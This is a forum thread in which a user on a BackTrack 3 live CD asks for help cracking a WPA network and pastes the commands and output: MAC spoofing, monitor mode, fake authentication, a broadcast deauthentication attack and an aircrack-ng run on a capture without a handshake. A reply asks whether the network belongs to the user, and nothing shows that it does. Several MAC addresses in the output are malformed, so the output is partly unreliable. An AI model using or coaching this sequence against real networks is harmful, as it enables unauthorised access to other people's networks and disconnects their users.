Dear friends tell me whats wrong (bt3 live cd)

[romantips]

Dear friend someone pls tell me whats wrong in my attempt to crack wpa/

pls mention wat change i have to make in the commad

[COLOR="DarkOrange"]bt ~ # airmon-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
bt ~ # airmon-ng stop ath0
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
bt ~ # ifconfig wifi0 down
bt ~ # macchanger --mac 00:11:22:33:44:55 wifi0
Current MAC: 00:1r:9y:b0:bk:15 (unknown)
Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)
bt ~ # airmon-ng start wifi0
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
bt ~ # airodump-ng ath0
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1B:57:FD:79D 13 24 0 0 11 54 WPA TKIP PSK Starcom
00:18:39:2C5:EC 12 5 0 0 11 54. WEP WEP haseeb
bt ~ # aireplay-ng -1 0 -a 00:1B:57:FD:79D -h 00:11:22:33:44:55 -e hacker ath0

[KMDave]

Is that your wlan? Did you try it without changing the mac?

[romantips]

20:26:00 Waiting for beacon frame (BSSID: 00:1B:57:FD:79D) on channel 11
20:26:01 Sending Authentication Request (Open System)
20:26:01 Authentication successful
20:26:01 Sending Association Request [ACK]
20:26:01 Denied (code 12), wrong ESSID or WPA ?
20:26:04 Sending Authentication Request (Open System)
aireplay-ng -0 5 -a 00:1B:57:FD:79D -h 00:11:22:33:44:55 -e UTStarcom ath0
20:27:25 Waiting for beacon frame (BSSID: 00:1B:57:FD:79D) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
20:27:25 Sending DeAuth to broadcast -- BSSID: [00:1B:57:FD:79D]
CH 11 ][ BAT: 1 hour 21 mins ][ Elapsed: 16 mins ][ 2009-07-16 20:18

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1B:57:FD:79D 3 21 7791 51 0 11 54 WPA TKIP PSK UTStarcom
BSSID STATION PWR Rate Lost Packets Probes
00:1B:57:FD:79D 00:1A:73:3C:02:AD 20 1-54 0 19
aircrack-ng wpa-01.cap
Opening wpa-01.cap
Read 3020 packets.
# BSSID ESSID Encryption
1 00:1B:57:FD:79D UTStarcom WPA (0 handshake)
Choosing first network as target.
Opening wpa-01.cap
Please specify a dictionary (option -w).
Quitting aircrack-ng...
aircrack-ng wpa-01.cap -w